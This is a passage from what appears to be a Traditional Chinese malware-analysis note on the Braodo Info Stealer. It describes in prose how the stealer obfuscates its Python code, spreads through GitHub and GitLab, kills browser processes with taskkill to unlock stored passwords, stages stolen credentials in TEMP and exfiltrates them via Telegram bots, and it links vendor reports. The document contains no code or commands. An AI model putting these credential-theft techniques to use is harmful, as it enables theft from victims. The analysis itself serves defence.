3. 用 Python 編寫,採用各種混淆技術
4. 從受感染的電腦竊取敏感訊息,例如憑證、cookie 和系統資料
- System Information Discovery
- Credentials from Web Browsers
5. 利用 GitHub 和 GitLab 等流行的開發者平台來分發其 Payload
6. 下載的檔案是一個 zip 存檔,其中包含多個 Python 程式庫以及名為「rz_317.pd」的第二階段有效負載。該Python腳本負責解密並載入實際的Braodo Stealer,從而完成感染鏈。
- **因入侵時間與執行時間間隔太久,無法觀察到下載檔案此行為痕跡**
7. 從瀏覽器和應用程式收集這些憑證,並在滲漏之前將它們儲存在臨時目錄中
8. 來自密碼儲存 Chrome 的 Windows 憑證複製到 TEMP 資料夾中
9. 停用或停止瀏覽器進程
- 使用 taskkill 命令來終止多個已知的瀏覽器進程,這是 Braodo 竊取程式惡意軟體通常用來竊取憑證的技術。透過強制關閉 Chrome、Edge 和 Firefox 等瀏覽器,惡意軟體可以解鎖儲存密碼和登入資料等敏感資訊的檔案。
11. 將收集的資料歸檔到 TEMP 資料夾中
### 未在此樣本觀察到的特色:
1. 隨機命名的環境變數
2. Byte Order Mark (BOM)
3. Registry Run Keys
4. Screen Capture
5. Clipboard Data
## Braodo Info Stealer 相關介紹文章
[Braodo Info Stealer | Mimecast](https://www.mimecast.com/threat-intelligence-hub/braodo-info-stealer/) 此文章提到 Braodo Stealer 由越南的威脅行為者開發,透過 Telegram 機器人竊取網路瀏覽器資料。
該惡意軟體經過多次混淆,並使用批次腳本、PowerShell、可執行檔 (exe)、HTA 和 PDF 檔案進行傳播。多個 GitHub 儲存庫用於託管惡意程式碼,而多個 Telegram 機器人則用於資料外洩。它在後台秘密運行,收集和存檔數據,然後將其發送給 Telegram 機器人。
[Braodo Info Stealer Targeting Vietnam and Abroad - CYFIRMA](https://www.cyfirma.com/research/braodo-info-stealer-targeting-vietnam-and-abroad/)
[Braodo Stealer:基於 Python 的網路威脅不斷上升 --- Braodo Stealer: The Rising Python-Based Cyber Menace](https://hivepro.com/threat-advisory/braodo-stealer-the-rising-python-based-cyber-menace/)